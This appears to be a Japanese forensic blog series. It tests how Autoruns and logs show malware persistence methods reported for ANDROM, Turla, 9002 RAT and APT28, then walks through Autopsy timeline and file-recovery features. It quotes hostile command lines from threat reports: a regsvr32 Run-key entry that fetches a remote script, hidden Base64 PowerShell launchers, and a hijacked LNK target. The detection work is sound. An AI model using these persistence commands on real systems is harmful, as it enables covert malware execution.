ANDROM と自動起動（Regsvr32）
トレンドマイクロ社からのレポートが更新され、ファイルレス型の攻撃において、USB メモリ経由である事がアップデートとして報告されている。
上記レポートでは、幾つかのマルウェアが登場しているが、自動起動について確認。
TROJ_ANDROM.SVN - Threat Encyclopedia - Trend Micro USA より引用
In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll
自動起動の仕組みとして、Run キーに regsvr32 を登録する流れになっているので、テスト用のエントリを作成。
Autorunsで確認、Image Path の登録としては scrobj.dll が表示される。引数の URL はエントリをクリックすれば確認できる。
関連して登場する別のマルウェアの自動起動についても確認。
BKDR_ANDROM.ETIN - Threat Encyclopedia - Trend Micro USA より引用
Autostart Technique
This Backdoor adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{UID} = "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random character}').{random character})));"
上記説明によれば、Run キーに PowerShell を登録している。かなり雑だがレジストリにテスト用の値を登録。
Autorunsで結果を確認。File not found として登録を確認できる。
上記は、検体を動かして確認した結果ではないので、実際の検体においてどのような結果が得られるかは未確認。
Turla の自動起動手口
下記レポート『New Pacifier APT Components Point to Russian-Linked Turla Group』では、マルウェアを起動する為の自動起動の手口として 6 種類が報告されている。
幾つかは Windows XP を対象とした古い手法のようだが、自動起動を確認するツールとして、Autoruns がどのように反応するか、いくつかサンプルを作成し確認してみる。
https://media.scmagazine.com/documents/314/bitdefender-whitepaper-pacifie_78483.pdf
ShellAutorun: adds the malware’s path to the “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell” key in the registry, so that the malware is executed at logon. It takes care to add “explorer.exe” as well, if the key did not exist prior to infection.
HiddenTaskAutorun: creates a hidden scheduled task that triggers at logon, using the ITaskScheduler COM interface. This method is only
used on Windows XP.
ScreenSaverAutorun: replaces the current screensaver from the registry with the malware
StartupAutorun: copies the malware to the startup folder
TaskScheduler20Autorun: creates a scheduled task that triggers at logon using the ITaskService COM interface. This method is only used
on Windows Vista, 7 or 8.
LinkAutorun: infects .lnk files by changing their target application to: “cmd.exe /q /c start “OriginalPathOfLnk” && start “MalwarePath””
This analyzed sample uses the ShellAutorun feature with path “%HOMEPATH%\ntuser.dat.LOG3”, and the TaskScheduler20Autorun
configured to disguise itself as an Adobe Updater task with path: “%homepath%\AppData\Local\Adobe\AdobeUpdater.exe”, name: “User
registry integrity check task”, and description “This task was automatically generated by Microsoft Windows. To remove contact your
system administrator”.
ShellAutorun
自動起動の方法としてレジストリキー 「HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon」を利用する方法、ESET から出ているレポートでは登録方法として下記の記述を確認できる。
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
0: ShellAutorun
Persistence is achieved through the Windows registry by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the following key:
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Shell 値としてカンマで区切って登録している部分を、Autoruns がどのように扱うか？という部分があるので、メモ帳を登録し Autoruns の実行結果を確認。
カンマで区切られた内容を 2行で表示しており、どちらも Image Path の対象として確認できている。
ScreenSaverAutorun
既存のスクリーンセイバーのパスをマルウェアに変更するのであれば、Autorunsであれば Winlogon タブから値を確認できる。（下記は正規のスクリーンセイバー）
StartupAutorun
マルウェア自体をスタートアップへ配置するのか、LNK ファイルを配置しマルウェアを参照させるのか特定できなかったが、これは普通にチェックが可能と思われる。
TaskScheduler20Autorun
上記引用部分にあるように、タスクとして \AppData\Local\Adobe\AdobeUpdater.exe のようなプログラムを登録する。
ESETのレポート「Gazing at Gazer Turla’s new second stage backdoor」では下記の記述となっている。
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
4: TaskSchedulerAutorun4: TaskSchedulerAutorunThis method is used to achieve persistence by creating a scheduled task.The task is created and set up through COM interfaces related to tasks (ITaskService, ITaskSettings, …).Some information such as the task name and its description is retrieved from the resource.For example, in one of the sample’s resources, the persistency mode is set to 04 (TaskSchedulerAutorun) with the persistency data: %APPDATA%\Adobe\adobeup.exe Adobe Acrobat Reader Updater. This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data. \Adobe\AcrobatReader.AdobeIn this example, a scheduled task will be created and set up thus:• Task name: “Adobe Acrobat Reader Updater”• Executable: “%APPDATA%\Adobe\adobeup.exe”• The orchestrator will copy the loader received through the named pipe to this location• Task description: “This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data”• Task folder: “\Adobe\AcrobatReader.Adobe”Last but not least, the task is configured to be started by the task scheduler at any time afterits scheduled time has passed. The task will be triggered when the current user logs on.
タスクに登録されているプログラムがコード署名されているかは確認できていない。
LinkAutorun
既存のLNKファイルを変更する仕組みになっている。
“cmd.exe /q /c start “OriginalPathOfLnk” && start “MalwarePath””
ターゲットフォルダがどのように決まるかは確認できなかったが、仮にスタートアップに存在する LNK ファイルが変更されている場合は注意が必要になる。自動起動に LNK が登録されていない場合は、LNK ファイル内が変更されている事を Autoruns で確認する事は出来ない。
下記は「cmd.exe /q /c start C:\Windows\notepad.exe && start C:\Windows\system32\Calc.exe」をテストとして登録した LNK ファイルを、スタートアップに配置した場合の Autoruns の結果。CMD.EXE が登録されている事は確認できる。
コマンドライン版の実行結果でも、CMD.EXE は確認できるがその先のパラメータまでは取得できない。
11/20/2010 2:00 AM,"C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup","notepad - Shortcut.lnk",enabled,"Logon",IE11WIN7\IEUser,"Win
dows Command Processor","Microsoft Corporation","c:\windows\system32\cmd.exe",6.1.7601.17514,"C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad - Shortcut.lnk",AD7B9C14083B52BC532FBA5948342B98,EE8CBF12D87C4D388F09B4F69BED2E91682920B5,A942EA4413B0921C7A513B800A953A5325313F07,CFC5937B4DB3A1D5718FE144B621D50B0A337854AB3F5E2DF152B62627F6FD4A,17F746D82695FA9B35493B41859D39D786D32B23A9D2E00F4011DEC7A02402AE,CEEFB55F764020CC5C5F8F23349AB163
Windows の監査設定において、イベントID 4688 の取得と、コマンドラインオプションを含めて取得している場合には、下記のようなログを確認できる。
LNK ファイルから呼ばれていることも追跡できるのか？という辺りは十分確認できていない。
FAT32 と犬
ディレクトリエントリの痕跡からファイル復元
VHDディスク上に FAT32 でボリュームを作成。ボリュームサイズは 100MB。
JPEG画像ファイル（犬の画像）を FAT32 ボリューム上の Pictures フォルダに置きます。
FAT32ボリュームを「クイック」フォーマット。
エクスプローラから参照しても、犬は行方不明で確認できない。
Autopsy 4.4.1 でボリュームを参照。（FATファイルシステムのオーファンファイルは探す設定）
インジェストモジュールの実行は無し。
無事に犬が発見される。
FAT ボリュームに対する $OrphanFiles の仕組みですね。
上記では意図的にクイックフォーマットする事で Pictures フォルダのディレクトリエントリを未割り当て領域内に残しています。Autopsy は未割り当て領域から発見した Picture フォルダのディレクトリエントリからデータを復元し表示。
エントリだけかと思っていたら、Unalloc でも参照できる状態でいらっしゃいました。
フォルダを作成しない場合
FAT32ボリューム上にフォルダを作成せず、ルート直下に画像を保存。
クイックフォーマットを実施した後、Autopsy で参照。フォーマット処理によりルートのディレクトリエントリがクリアされるため、上記とは異なりディレクトリエントリからの復元は出来ない。
画像データが保存されているクラスタが上書きされていなければ、未割り当て領域側にはデータが残っているので確認が可能。（ファイル名やタイムスタンプなど、ファイルシステムのメタ情報は確認できないが、画像データ内に EXIF 情報があればそれらの情報は確認が可能）
9002 RAT と LNK
9002 RAT についての記事、persistence の仕組みとしては LNK ファイルを利用。
スタートアップに UpdateCheck.lnk を作成、中身としては Powrshell を利用する仕組みとなっているようです。
プロパティを確認
バイナリを確認
スタートアップに LNK ファイルが作成された状態で、Autoruns を利用して結果を確認してみます。（Windows 10環境上でAutorunsを実行）
LNKファイルの登録は確認できますが、参照されている Powershell の部分を確認できない状況です。
GUI 版では黄色ハイライトとなりファイルが無い状態となりますが、コマンドライン版での実行結果でも同じく参照先ファイルが無い結果となります。
<2017/9/3 Update>
LECmd Version 0.9.7.0 を利用して LNK ファイルをパースする事で、スタートアップに登録される UpdateCheck.lnk の内容を確認できます。
パース結果からは、文字列として PowerShell や「-NoProfile -WindowStyle Hidden -NonInteractive -EncodedCommand」、それに続くデータ（エンコード部分）を発見できます。
LECmd version 0.9.7.0
Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmdCommand line: -f c:\temp\UpdateCheck.lnk
Processing 'c:\temp\UpdateCheck.lnk'
Source file: c:\temp\UpdateCheck.lnk
Source created: 2017-09-02 13:52:43
Source modified: 2017-09-02 13:52:02
Source accessed: 2017-09-02 13:52:43--- Header ---
Target created: 2009-07-13 23:49:07
Target modified: 2009-07-14 01:39:20
Target accessed: 2009-07-13 23:49:07File size: 473,600
Flags: HasTargetIdList, HasLinkInfo, HasArguments, HasIconLocation, IsUnicode, HasExpString, EnableTargetMetadata
File attributes: FileAttributeArchive
Icon index: 46
Show window: SwShowminnoactive (Display the window as minimized without activating it.)Arguments:
snip(many space!?)
-NoProfile -WindowStyle Hidden -NonInteractive -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAASQAtAFMAewAgAFAAYQByAGEAbQAoAFsASQBuAHQAXQAkAFAAcgBvAGMASQBkACwAIABbAEIAeQB0AGU
snip
AGQAZABlAG4AIAAtAFAAYQBzAHMAdABoAHIAdQA7ACAASQAtAFMAIAAtAFAAcgBvAGMASQBkACAAJABQAHIAbwBjAC4ASQBkACAALQBTAEMAIAAkAFMAQwA7AA==
Icon Location: %SystemRoot%\System32\shell32.dll--- Link information ---
Flags: VolumeIdAndLocalBasePath>>Volume information
Drive type: Fixed storage media (Hard drive)
Serial number: CC9CE694
Label: (No label)
Local path: C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe--- Target ID information (Format: Type ==> Value) ---
Absolute path: My Computer\C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
-Root folder: GUID ==> My Computer
-Drive letter ==> C:
-Directory ==> WINDOWS
Short name: WINDOWS
Modified: 2007-12-06 05:29:12
Extension block count: 1--------- Block 0 (Beef0004) ---------
Long name: WINDOWS
Created: 2006-05-22 17:08:04
Last access: 2007-12-06 05:29:12-Directory ==> system32
Short name: system32
Modified: 2007-12-04 00:44:06
Extension block count: 1--------- Block 0 (Beef0004) ---------
Long name: system32
Created: 2006-05-22 17:08:04
Last access: 2007-12-04 00:44:06-Directory ==> WindowsPowerShell
Short name: WINDOW~1
Modified: 2007-09-21 00:56:32
Extension block count: 1--------- Block 0 (Beef0004) ---------
Long name: WindowsPowerShell
Created: 2007-09-21 00:56:32
Last access: 2007-09-21 00:56:32-Directory ==> v1.0
Short name: v1.0
Modified: 2007-12-03 06:20:46
Extension block count: 1--------- Block 0 (Beef0004) ---------
Long name: v1.0
Created: 2007-09-21 00:56:32
Last access: 2007-12-03 06:20:46-File ==> powershell.exe
Short name: powershell.exe
Modified: 2009-07-14 01:39:22
Extension block count: 1--------- Block 0 (Beef0004) ---------
Long name: powershell.exe
Created: 2009-07-13 23:49:08
Last access: 2009-07-13 23:49:08
MFT entry/sequence #: 46076/1 (0xB3FC/0x1)--- End Target ID information ---
--- Extra blocks information ---
>> Special folder data block
Special Folder ID: 37>> Known folder data block
Known folder GUID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 ==> System32>> Property store data block (Format: GUID\ID Description ==> Value)
b725f130-47ef-101a-a5f1-02608c9eebac\10 Item Name Display ==> powershell.exe
b725f130-47ef-101a-a5f1-02608c9eebac\4 Item Type Text ==> ????
b725f130-47ef-101a-a5f1-02608c9eebac\15 Date Created ==> 07/13/2009 23:49:08
b725f130-47ef-101a-a5f1-02608c9eebac\12 Size ==> 473600
b725f130-47ef-101a-a5f1-02608c9eebac\14 Date Modified ==> 07/14/2009 01:39:22
46588ae2-4cbc-4338-bbfc-139326986dce\4 SID ==> S-1-5-21-3345294922-2424827061-887656146-1000
dabd30ed-0043-4789-a7f8-d013a4736622\100 Folder Path (Narrow) ==> v1.0 (C:\WINDOWS\system32\WindowsPowerShell)
28636aa6-953d-11d2-b5d6-00c04fd918d0\30 Parsing Path ==> C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe>> Tracker database block
Machine ID: john-win764
MAC Address: 00:0c:29:ac:13:81
MAC Vendor: VMWARE, INC.
Creation: 2014-01-21 03:01:04Volume Droid: 377e2efa-12f2-42ed-aeef-34a43bd8bf7d
Volume Droid Birth: 377e2efa-12f2-42ed-aeef-34a43bd8bf7d
File Droid: 4416c5c4-8248-11e3-8bfe-000c29ac1381
File Droid birth: 4416c5c4-8248-11e3-8bfe-000c29ac1381>> Environment variable data block
Environment variables: %PSModulePath%..\powershell.exeDamaged data block
Original Signature: ConsoleDataBlock
Error Message: Index was out of range. Must be non-negative and less than the size of the collection.
Parameter name: startIndex---------- Processed 'c:\temp\UpdateCheck.lnk' in 0.05588820 seconds ----------
スタートアップに登録されている LNK ファイルを調査する場合、Autoruns だけでなく LEcmd も併用して Hunting すれば、PowerShell の仕掛けを発見できますね。
Ericさんのツールは、とても調査に役立ちます！！ありがとうございます。
(2017/9/3 delete)試しに LEcmd でもスタートアップに登録された LNK ファイルを処理してみましたが、エラーとなり内容は確認できず。
自動起動をチェックする際、参照先のファイルが見つからない LNK については、登録内容を確認する必要がありますが、具体的にどのような手順を組むか？がありますね。
セキュリティログで追跡
監査ポリシーで、コマンドライン プロセスの監査を有効にした後、スタートアップにと登録されている UpdateCheck.lnk を実行してみます。
LNKファイルをクリックした後、セキュリティログ内で PowerShell のイベントID 4688 を確認します。プロセスコマンドラインにエンコード文字列が表示されてくるのを期待したのですが、記録されていないようです。
PowerShell でのスクリプトブロックの監査を有効にしている場合
Reference URL：
APT28と HKCU\Environmentキー
FireEye社から APT 28に関するレポート「APT28 Targets Hospitality Sector, Presents Threat to Travelers」が出ており、下記で日本語に翻訳された関連記事も読めます。ただ、横展開に関する手法や Responder の仕組みについて扱われていますが、マルウェアの自動起動登録の手法など細かい点は書かれていません。
FireEye のレポートに関連し、マルウェアの挙動を解析したレポートが2本出ていますので、こちらで TTPs について確認しておきたいと思います。
上記レポート内では、まずファイルとしては「%APPDATA%\user.dat」が作成されることが分かります。ファイル作成については NTFS USN ジャーナルで確認できると推測されますが、拡張子 .dat に対して中身が実行形式であるかは、ジャーナルの情報だけでは判断が出来ない部分ですね。
・拡張子不一致（実行形式のシグネチャと拡張子が一致しない）
・コード署名の有無
がどのように反応するのか興味あるところです。
例えばディスクイメージ全体ではなく、$MFT と USN ジャーナル、レジストリだけを取得しているようなケースにおいては、このファイルの中身を確認する事ができません。プログラムの実行痕跡で関連性を見つけられるか？がポイントになりそうです。
Rundll32 経由の起動については、AppCompatCache 辺りに残る可能性があるかもしれませんが、Windows 10 では Rundll32 で呼ばれた DLL の痕跡がレジストリやプリフェッチに残らないのではないかと思いますので、調査手順としては少し検討の余地があるかもしれません。RunDll32 経由で呼ばれたDLLのパスが追跡できるようにログが取得されていれば、追跡しやすくなるでしょうか。
次のパート2のレポートでは Persistent に関する記述があります。
上記解析結果によると、HKCU\Environment というレジストリキーが登場し、値としては『UserInitMprLogonScript』が登録されるようですが、このレジストリキーについては下記で詳細が紹介されています。
Beyond good ol’ Run key, Part 18
http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
登録される値の内容としては、%appdata%\mrset.bat とバッチファイルを登録する流れになるようですが、このレジストリキーと値は Autoruns ツールで反応しないようです。
テスト環境でレジストリに値を作成してみます。
上記環境で Autoruns 13.71 を利用してレジストリキーやバッチファイルの登録を探してみましたが、この登録は確認できませんでした。（バッチファイルの中には単純に Notepad.exe だけを記載していますが、ログオンするとメモ帳が起動していました）
Autorunsでは検出されないレジストリキーですが、呼び出されるファイル（今回のケースであれば.batファイル）は作成されますから、常駐化の仕組みとして作成されるファイルを見つけ出す手順を組んでおく必要がありますね。
USN ジャーナルの削除
今回の件とは直接関係ありませんが、マルウェアによっては NTFS USN ジャーナルを削除する場合があり、ジャーナルに依存していると困るケースもあります。過去の事例としては、petya が Fsutil コマンドによりジャーナルを削除していますが、日本語で解説されている資料としては下記があります。
Quick Response Tipper Petya - the latest wave（最新の猛威）
https://www.pwc.com/jp/ja/japan-service/cyber-security/assets/pdf/petya.pdf
ディスクイメージがあればカービングする方法も考えられますが、削除されている場合も想定しておく必要があります。
fsutil コマンドは一般的に利用されるコマンドでは無い、という部分ではプログラムの実行を監視するポイントとして面白いかもしれません。
Autopsy 4.4.1 タイムライン機能(4)
Web アクティビティ（Chrome）
セキュリティキャンプ 2017の E4 トラック事前学習で作成した Chrome01_RAW.001 を Autopsy のタイムライン機能で確認。
実際に操作した内容は下記。
- Googleで「セキュリティキャンプ」を検索
- セキュリティキャンプのWebを参照
- 協議会のWebへリンクをたどり参照
解析対象のイメージファイル内には、Chrome のプロファイルフォルダのみが存在し、他のデータは無い状態。
「カウント」モードでの表示、ウェブアクティビティのみ表示。
「詳細」モードでの表示
「List」モードでの表示
ウェブアクティビティの項目だけではキャッシュファイルが表示されない。
Chromeのキャッシュファイルを含めてタイムラインを表示するには、ファイルシステムの項目も表示する。
下記ではファイルシステムとして作成日時だけを有効にした後、タイムラインを表示している。同一秒数内で表示されているので、順序に注意する必要があるが、全国大会のリンクを参照したタイミングが 20:50:22 となる。
この EXIF 情報を含む JPEG 画像には誰が写っているでしょうか？
シークレットウインドウ
Chromeのシークレットウインドウを利用し、上記と同じ操作を行った状態でタイムラインを確認。（E4トラック事前学習の Chrome02_RAW.001）
ウェブアクティビティから、セキュリティキャンプのサイトを閲覧した事を示す情報は何も確認できない。（キャッシュファイルの削除データ等も確認できない）
シークレットモードでは痕跡を確認できませんが、通常のモードでブラウジングを行い、その後でブラウザの履歴を削除した場合は、どのような痕跡が確認できるでしょうか？
Autopsy 4.4.1 タイムライン機能(3)
画像ファイルの EXIF 情報
タイムライン機能には、Exif 情報を利用する事もできる。インジェストモジュールとしては「Exif パーサ」を実行。
インジェストモジュールの実行結果は、「抽出されたコンテンツ」⇒「EXIFメタデータ」で確認ができる。テストデータでは 3件の EXIF 情報を持つ JPEG ファイルが検出されている。
タイムスタンプ情報として作成日、緯度・経度・標高が表示されている。（ケース作成時のタイムスタンプ情報を日本時間としているので JST 扱いになっているが、実際の撮影場所は位置情報に従えばシンガポールという事になる）
EXIF情報のタイムライン
タイムラインに切り替え、List モードで表示すると、ファイルシステムのタイムスタンプとは別に、EXIF のカメラアイコンが付与されたレコードを確認できる。
時間情報はローカルタイムゾーンが選択されているが、GMT/UTCを選択すれば表示を UTC 時間に変更できる。
イベントタイプフィルタで「その他」だけに設定し、「カウント」のモードにすれば撮影日時をベースとした件数をグラフで確認する事ができる。
「詳細」モードで表示した場合には、それぞれの画像が撮影された“間隔”についても視覚的に確認する事ができる。
■空港から出発
■現地で撮影
EXIF 情報が無い JPEG 画像ファイルの場合は、ファイルシステムのタイムスタンプと共に表示する事になる。下記は EXIF とファイルシステムのタイムスタンプの両方を「詳細」モードで表示している。
EXIF情報を持つファイル形式としては JPEG がありますが、他のファイルタイプとして EXIF 情報を持つ形式には何があるでしょうか？
不具合？
Autopsy で処理したイメージ内には他にも JPEG 画像が存在するのですが、何故か slack 扱いになっている状況が発生。
■JPG画像を選択しても表示できない
■JPG-Slack側を選択すると画像が表示される
なお、FTK Imagerでは問題なく JPEG 画像として表示できます。
JPEG画像がスラック領域として表示されてしまう理由は何でしょうか？（と、言われても実データが無いと分かりませんよね...）
Autopsy 4.4.1 タイムライン機能(2)
コンテナファイルの扱い
ZIP や RAR ファイルのコンテナ内に存在するファイルのタイムスタンプ情報のタイムラインでの取り扱いについて。
『埋め込みファイルの抽出ツール』モジュールを実行している場合、ZIP や RAR ファイルなどについては、下記図のようにコンテナ内のファイルについても表示が行われるようになる。
ZIPファイル内のデータは、データソースのツリーから ZIP ファイルのコンテナを参照する事で確認できる。例えば ZIP ファイル内の画像を参照すれば、下記のようにコンテンツを確認できる。
タイムスタンプ情報としては、ファイルメタ情報のタブから下記を確認できる。下記はZIPファイル内のJPEG画像ファイルのメタ情報を確認した結果。
| 名前 | /img_zip001.E01/vol_vol2/moon2.zip/moon2.jpg |
| タイプ | Local |
| MIME Type | image/jpeg |
| サイズ | 15841 |
| ファイル名アロケーション | 割り当て済み |
| メタデータアロケーション | 割り当て済み |
| 修正済み | 2017-07-23 09:07:43 JST |
| アクセス済み | 2017-07-23 09:07:43 JST |
| 作成済み | 2017-07-23 09:07:38 JST |
| 変更済み |
0000-00-00 00:00:00 |
別の RAR ファイル内のメタ情報を確認した場合は、下記のようになる。
| 前 | /img_zip001.E01/vol_vol2/moon.rar/moon.jpg |
| タイプ | Local |
| MIME Type | image/jpeg |
| サイズ | 27221 |
| ファイル名アロケーション | 割り当て済み |
| メタデータアロケーション | 割り当て済み |
| 修正済み | 2017-07-23 00:06:48 GMT |
| アクセス済み | 0000-00-00 00:00:00 |
| 作成済み | 0000-00-00 00:00:00 |
| 変更済み | 0000-00-00 00:00:00 |
ZIPファイルとRARファイルでは、タイムスタンプ情報の保持状況が異なっている事を確認できる。
コンテナファイルのタイムライン
上記、ZIP、RAR ファイルが含まれるイメージファイルのタイムラインを、リスト形式で表示した状況が下記となる。
コンテナファイルのタイムスタンプだけでなく、ZIP・RARファイル内のコンテンツについてタイムスタンプ情報が確認できる。
ZIP と RAR ファイルでは、保持しているタイムスタンプが異なる為、RAR ファイル内の .bmp と .jpg ファイルについては、最終更新日時を示す M だけがタイムスタンプとして確認できる。
圧縮ファイルの形式には、ZIP や RAR 以外にも、7zip や lzh なども存在しますが、それらのコンテナファイルでは、どの様なタイムスタンプ情報を保持しているでしょうか？
RARとNTFS代替データストリーム
RAR 形式はオプション設定により、NTFS の代替データストリームを圧縮ファイル内に含める事が可能です。（圧縮したファイルのタイムスタンプ情報も、更新日時だけでなく、作成日時やアクセス日時を保存する事が可能です）
下記はNTFS 代替データストリームを含めた RAR ファイルを参照していますが、NTFS 代替データストリームの存在は確認できません。この RAR ファイルでは、タイムスタンプ情報として、作成日時・アクセス日時も含まれている事を確認できます。
WORDファイル内の埋め込みオブジェクト
WORDファイル（DOCX）内に埋め込まれているオブジェクトのタイムスタンプ情報は、下記図のように 0000-00-00 00:00:00 となる。
タイムライン上では、DOCXファイルのタイムスタンプは確認できるが、埋め込みオブジェクトに関する項目は表示されていない。
Autopsy 4.4.1 タイムライン機能(1)
Autopsy のタイムライン機能
Timeline
http://sleuthkit.org/autopsy/docs/user-docs/4.4.1/timeline_page.html
サンプルのイメージファイルとしては、マイクロソフト社が提供している仮想マシンのイメージを利用しています。ブラウザの履歴なども確認していく予定ですが、まずはファイルシステムのタイムラインから確認します。
インジェストモジュールは何も実行しない状態で、Autopsyでイメージファイルを参照し、『Timeline』を選択。
「タイムラインウィンドウ」が起動。
インジェストモジュールを何も実行していない為、ファイルシステムの項目を示す「赤色」だけが表示されている状態になっている。
『カウント』のグラフを利用した場合、タイムラインからは何を読み取れる事が出来るでしょうか？、または何が読み取れないでしょうか？
項目数が多いので、まずは「テキストフィルター」を利用し、メモ帳（notepad.exe）の項目だけを参照。テキストフィルタに Windows\Notepad.exe を入力し、『適用』を選択。フィルタに指定した文字列に一致した項目だけが表示される。
イベントタイプの項目はデフォルトで「ベースタイプ」となっているので、この項目を「サブタイプ」に切り替える事で、どのタイムスタンプが変化したのかを更に色分けする。
デフォルトではスケールが「対象数」となっているが、「リニア」に切り替える事で件数ベースでカウントを表示できる。notepad.exe のタイムスタンプ 情報 4件が、3件と1件に分かれて表示されている。
テキストフィルタに「.dll」を設定し、作成日時（作成されたファイル）でフィルタした結果が下記グラフ（スケールはリニア）。
7月29日に多くのDLLファイルが作成されているように見えます。
次に、フィルタをエントリ更新日時（変更されたファイル）に切り替えた結果が下記グラフ。
8月5日に多くのファイルでMTFレコードが更新されている事が分かる。
DLLファイルの作成日時とエントリ更新日時の両方をグラフに表示。
この二つのタイムスタンプを示すグラフから、何を読み取ればよいでしょうか？
詳細モード
ビジュアライゼーションモードを「詳細」に切り替えると、下記のような表示モードとなる。項目に選択し、イベントをピン止めする事もできる。
表示方法は、「アドバンスレイアウトオプション」で変更が可能。
詳細モードを利用した場合、それぞれのイベントがどの程度近いのか、離れているのかを確認する事ができる。右クリックメニューからはPlace Marker を設定できる。（設置したマーカーを解除する場合は、マーカー上で右クリックする）
複数のイベントが存在する場合は、項目がまとめて表示するようになっており、＋記号をクリックする事で開く事ができる。
展開した項目を再度まとめたい場合はー記号をクリックする。
項目の表示を抑止したい場合は、眼のアイコンをクリックすることで表示しないようにできる。
詳細ビューで隠すように設定した項目は、『隠された説明』のウインドウに登録されており、チェックボックスを外すか、右クリックメニューからリストから削除を選択する事で戻す事が可能。
イベントのタブを利用する事で、詳細項目と連動して確認を行う事も可能。
Listモード
ビジュアライゼーションモードを「List」に切り替える事でリスト形式で項目が表示される。リスト形式であれば、Event Type の項目からどのタイムスタンプが該当時刻になっているかを確認できる。
表示されている項目を選択する事で、ファイルメタデータなどをボトムのウインドウで確認できる。
$FNのタイムスタンプ情報
Autopsy 4.4.1 のタイムラインでは、標準属性（$SIA）のタイムスタンプだけを表示している。ファイル名属性（$FN）のタイムスタンプを確認するには、該当項目を選択し、ファイルメタデータから istat の出力結果を確認する必要がある。
以下は notepad.exe の istat 結果。
$FN と $SIA のタイムスタンプが逆転している箇所がある事を確認できる。また、タイムラインウィンドウ上では $FN のタイムスタンプが示されていない事が分かる。
Sleuth Kit istatツールから：
MFT Entry Header Values:
Entry: 30100 Sequence: 1
$LogFile Sequence Number: 186998428
Allocated File
Links: 2
$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 444 (S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)
Created: 2017-07-29 21:41:14.041050600 (JST)
File Modified: 2017-07-29 21:41:14.041050600 (JST)
MFT Modified: 2017-08-05 12:05:34.844662200 (JST)
Accessed: 2017-07-29 21:41:14.041050600 (JST)
$FILE_NAME Attribute Values:
Flags: Archive
Name: notepad.exe, notepad.exe
Parent MFT Entry: 10669 Sequence: 1
Allocated Size: 0 Actual Size: 0
Created: 2017-08-05 12:05:29.594674700 (JST)
File Modified: 2017-08-05 12:05:29.594674700 (JST)
MFT Modified: 2017-08-05 12:05:29.594674700 (JST)
Accessed: 2017-08-05 12:05:29.594674700 (JST)
Attributes:
Type: $STANDARD_INFORMATION (16-0) Name: N/A Resident size: 72
Type: $FILE_NAME (48-4) Name: N/A Resident size: 88
Type: $FILE_NAME (48-2) Name: N/A Resident size: 88
Type: $DATA (128-3) Name: N/A Non-Resident size: 246784 init_size: 246784
1947129 1947130 1947131 1947132 1947133 1947134 1947135 1947136
1947137 1947138 1947139 1947140 1947141 1947142 1947143 1947144
1947145 1947146 1947147 1947148 1947149 1947150 1947151 1947152
1947153 1947154 1947155 1947156 1947157 1947158 1947159 1947160
1947161 1947162 1947163 1947164 1947165 1947166 1947167 1947168
1947169 1947170 1947171 1947172 1947173 1947174 1947175 1947176
1947177 1947178 1947179 1947180 1947181 1947182 1947183 1947184
1947185 1947186 1947187 1947188 1947189
Type: $EA_INFORMATION (208-5) Name: N/A Resident size: 8
Type: $EA (224-6) Name: N/A Resident size: 120
Autopsyでファイルシステムのタイムラインを表示した場合、Plasoとは異なり VSS に含まれているファイルのタイムスタンプ情報は表示されません。その他に、どの様なファイルシステム上のタイムスタンプが表示されていないでしょうか？
Autopsy 4.4.1 埋め込み文書のキーワード検索
埋め込みオブジェクトが含まれる文書
Autopsy のキーワード検索において、文書内にオブジェクトが埋め込まれている場合にどの様な扱いになるかを確認。
サンプルデータとして、Word文書（DOCX形式）内に、動画ファイル（MOV）、JPEGファイル（2件のうち1件は単純に画像貼り付け、もう1件はオブジェクトとして挿入、Excelファイルを追加したファイルを作成。
意図的に「埋め込みファイルの抽出ツール」のモジュールは実行せず、「キーワード検索」と「ファイルタイプ識別」を実行、「インデックス化されたテキスト」タブで文字列を確認。
Excelシート内に記入した文字列が抽出されていると共に、Excel シート内で「ふりがな」として登録されている文字列も抽出されている事を「インデックスされたテキスト」内で確認ができる。
薬剤師で「ヤクザ」が文字列検索でヒットする、というネタを以前に教えていただき、それ以降データとしてよく使っています、ありがとうございます。
別途、テスト的にPDFファイルも埋め込みオブジェクトとして作成してみましたが、PDFファイル内の文字列も抽出されます。
埋め込みオブジェクトを含め、文書内にデータとして存在するのに、文字列の抽出が出来ないケースにはどの様なデータがあるでしょうか？
埋め込みファイルの抽出
Autopsy には Embedded File Extraction Module が提供されており、ZIPファイルなどコンテナ内からファイルを取り出す事が可能になっている。対象ファイルとしては、DOCX も含まれているので、先ほどのWordファイル（DOCX）を対象にモジュールを実行する。
なお、ヘルプファイルでは下記の注意書きが行われている。
NOTE: Certain media content embedded inside Doc, Docx, PPT, PPTX, XLS, and XLSX might not be extracted.
インジェストモジュール「埋め込みファイルの抽出」を実行後、Word 文書ファイル内に貼り付けてあった JPEG 画像ファイル 1件が抽出された事を確認、
オブジェクトとして埋め込まれている、別の JPEG 画像ファイルと MOV ファイルは抽出されていない。Excel シートも個別に抽出されるという事ではない。
Word文書内に埋め込まれているオブジェクト（例えばPDFファイル）に画像ファイルが含まれている場合、それが抽出される事はない。
